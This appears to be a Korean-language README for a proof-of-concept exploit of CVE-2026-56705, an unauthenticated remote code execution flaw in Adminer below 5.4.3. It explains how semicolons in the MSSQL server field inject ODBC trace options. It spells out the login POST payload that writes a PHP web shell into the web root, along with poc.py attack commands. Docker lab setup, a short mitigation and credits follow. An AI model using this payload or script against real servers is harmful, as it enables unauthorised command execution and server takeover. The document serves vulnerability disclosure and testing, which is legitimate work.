
PoC 익스플로잇 for Adminer < 5.4.3 인증되지 않은 RCE via MSSQL PDO DSN 인젝션, Docker 랩 및 네거티브 테스트 포함.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (공급업체 권고) / GHSA-34q8-53jm-qc2r (GitHub DB) |
| 제품 | Adminer (단일 파일 PHP 데이터베이스 관리 도구) |
| 영향 범위 | pdo_sqlsrv + Microsoft ODBC Driver for SQL Server를 사용하는 Adminer < 5.4.3 |
| 수정 버전 | 5.4.3 |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 유형 | CWE-20 → 인증 없는 임의 파일 쓰기 → RCE |
Adminer는 MSSQL 연결을 위한 PDO DSN을 구성할 때 사용자가 제공한 server 필드를 제대로 검증하지 못합니다:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
server 필드의 세미콜론은 ODBC 연결 속성 구분자로 처리되므로, 인증되지 않은 공격자가 DSN에 임의의 속성(예: TraceFile 및 TraceOn)을 추가할 수 있습니다. unixODBC 추적 기능은 연결 시도 성공 여부와 관계없이 그 이전에 전체 연결 문자열(UID={username} 포함)을 TraceFile에 기록합니다. username 필드를 통해 PHP 코드를 주입하고 TraceFile을 웹 루트로 지정하면 웹 셸을 생성할 수 있습니다.
단 한 번의 인증 없는 로그인 POST 요청만으로 충분합니다. 유효한 자격 증명이나 사용자 상호작용이 필요 없습니다.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1을 구성합니다.UID={<?php ... ?>}를 포함한 추적 내용을 /var/www/shell.php에 기록합니다.GET /shell.php?c=id → 명령 실행# 지문 확인만 수행
python3 poc.py --target http://target/adminer.php --check
# 전체 익스플로잇 (웹 루트에 <random>.php 파일 생성)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
실습 이미지는 권고 사항의 전제 조건을 정확히 반영합니다: php:8.3-cli + pdo_sqlsrv (pecl) + msodbcsql18, PHP 프로세스가 웹 루트에 쓸 수 있는 환경.
mssql 드라이버를 제거/차단하거나, 리버스 프록시에서 사용자 제공 server 값의 ;(및 공백)을 제거하세요.공급업체 권고는 이 취약점 발견을 보고자와 Yashar Shahinzadeh(@voorivex)의 공동 작업으로 인정합니다.
PoC 및 실습 환경: Hamza Cagrici (@Boreas37)
| 날짜 | 이벤트 |
|---|---|
| 2026-08-25 | CVE 공개 / Adminer 5.4.3에서 수정 |